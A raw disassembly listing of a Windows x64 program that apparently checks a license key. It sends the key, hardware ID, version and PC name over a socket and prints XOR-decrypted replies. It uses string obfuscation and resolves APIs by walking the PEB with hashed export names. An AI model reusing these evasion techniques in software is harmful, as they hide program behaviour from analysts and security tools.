call fcn.140019a34
test rax, rax
je 0x140009093
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400090ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400090a9
call fcn.140019a34
mov rsi, rax
jmp 0x1400090ac
mov rsi, rdi
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], rbx
movsd xmm0, qword [str.Used_Key:]
movsd qword [rsi], xmm0
movzx eax, byte [0x14001cf40]
mov byte [rsi + 8], al
lea rcx, [rsi + 9]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
mov r8d, 6
lea rdx, str._HWID:
lea rcx, [rbp + 0x30]
call fcn.140010570
mov qword [rbp + 0xd8], rdi
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0x9c8]
cmp qword [rbp + 0x9e0], 0x10
cmovae rdx, qword [rbp + 0x9c8]
mov r8, qword [rbp + 0x9d8]
lea rcx, [rbp + 0xd8]
call fcn.140010570
mov qword [rbp + 0x118], rdi
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0x130], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, recv
lea rdx, str._version:1.1
lea rcx, [rbp + 0x118]
call fcn.140010570
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd0], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, 9
lea rdx, str._PC_Name:
lea rcx, [rbp + 0xb8]
call fcn.140010570
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x108], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0x9a8]
cmp qword [rbp + 0x9c0], 0x10
cmovae rdx, qword [rbp + 0x9a8]
mov r8, qword [rbp + 0x9b8]
lea rcx, [rbp + 0xf8]
call fcn.140010570
mov qword [rbp + 0xa08], rdi
mov qword [rbp + 0xa18], rdi
mov qword [rbp + 0xa20], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa08], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa18], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x1400092df
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400092da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], recv
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x14000933c
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009337
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009337
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd0], recv
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140009399
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009394
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009394
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0x130], recv
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x1400093f6
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400093f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov qword [rbp + 0xe8], rdi
mov qword [rbp + recv0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14000944d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009448
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009448
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], recv
mov byte [rbp + 0x30], 0
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x978], eax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14001d24b], 0
je 0x140009562
mov r8d, edi
cmp r14d, 2
jl 0x140009524
movdqa xmm3, xmmword [0x14001dc20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001dcc0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001dcc0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov r12d, 5
movd xmm0, r12d
psrad xmm2, xmm0
mov r15d, 0x1f
movd xmm0, r15d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14001dc40]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001dca0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x978], xmm2
jmp 0x14000956c
lea r9, [rbp + 0x978]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009530
mov r15d, 0x1f
lea r12d, [r15 - 0x1a]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400095f6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400095f6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400095f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400095d0
cmp r8d, 0x491e0a9c
je 0x1400095fb
test r9d, r9d
jne 0x1400095b0
mov rax, qword [rax]
jmp 0x140009580
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x978]
call rdx
lea rdx, [rbp + 0xa08]
cmp qword [rbp + 0xa20], 0x10
cmovae rdx, qword [rbp + 0xa08]
xor r9d, r9d
mov r8d, dword [rbp + 0xa18]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 0x100
lea rdx, [rbp + 0xdc0]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140009a24
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
cmp byte [rax + 0x142], 0
je 0x140009826
mov r8d, edi
cmp r14d, 2
jl 0x1400097e5
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x1400096d0
cmp r8d, 0x143
jge 0x140009826
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x1400097f0
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x50]
call fcn.14000fb20
mov r9, rax
cmp byte [rax + 0x2d], 0
je 0x1400099df
cmp r14d, 2
jl 0x1400099aa
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x28
jl 0x1400098a0
cmp edi, 0x2e
jge 0x1400099df
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x2e
jl 0x1400099b0
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cdqe
cmp rax, 0x100
jae 0x14000f9bd
mov byte [rbp + rax + 0xdc0], 0
movsd xmm0, qword [str.YVMBDXV:]
movsd qword [rbp - 0x60], xmm0
movzx eax, byte [0x14001da90]
mov byte [rbp - 0x60], 0x6b
xor byte [rbp - 0x5f], 0x33
xor byte [rbp - 0x5e], 0x34
xor byte [rbp - 0x5d], 0x35
xor byte [rbp - 0x5c], 0x36
xor byte [rbp - 0x5b], 0x37
xor byte [rbp - 0x5a], 0x38
xor byte [rbp - 0x59], 0x39
xor al, 0x3a
mov byte [rbp - 0x58], al
lea rax, [rbp + 0xdc0]
lea r8, [rbp - 0x60]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140009a94
inc rax
test ecx, ecx
jne 0x140009a81
test edx, edx
jne 0x140009e54
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
cmp byte [rax + 0x142], 0
je 0x140009c56
mov r8d, edi
cmp r14d, 2
jl 0x140009c15
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x140009b00
cmp r8d, 0x143
jge 0x140009c56
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x140009c20
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x50]
call fcn.14000fb60
mov r9, rax
cmp byte [rax + 0x3c], 0
je 0x140009e0f
cmp r14d, 2
jl 0x140009dda
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x38
jl 0x140009cd0
cmp edi, 0x3d
jge 0x140009e0f
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x3d
jl 0x140009de0
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [str.WKDDRR_B_]
movsd qword [rsp + 0x78], xmm0
movzx eax, word [0x14001d5e0]
mov word [rbp - 0x80], ax
movzx eax, byte [0x14001d5e2]
mov byte [rsp + 0x78], 0x65
xor byte [rsp + 0x79], 0x33
xor byte [rsp + 0x7a], 0x34
xor byte [rsp + 0x7b], 0x35
xor byte [rsp + 0x7c], 0x36
xor byte [rsp + 0x7d], 0x37
xor byte [rsp + 0x7e], 0x38
xor byte [rsp + 0x7f], 0x39
xor byte [rbp - 0x80], 0x3a
xor byte [rbp - 0x7f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x7e], al
lea rax, [rbp + 0xdc0]
lea r8, [rsp + 0x78]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140009ed3
inc rax
test ecx, ecx
jne 0x140009ec0
test edx, edx
jne 0x14000a294
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
cmp byte [rax + 0x142], 0
je 0x14000a096
mov r8d, edi
cmp r14d, 2
jl 0x14000a055
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x140009f40
cmp r8d, 0x143
jge 0x14000a096
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x14000a060
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x10]
call fcn.14000fbb0
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x14000a24f
cmp r14d, 2
jl 0x14000a21a
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x14000a110
cmp edi, 0x1a
jge 0x14000a24f
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1a
jl 0x14000a220
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
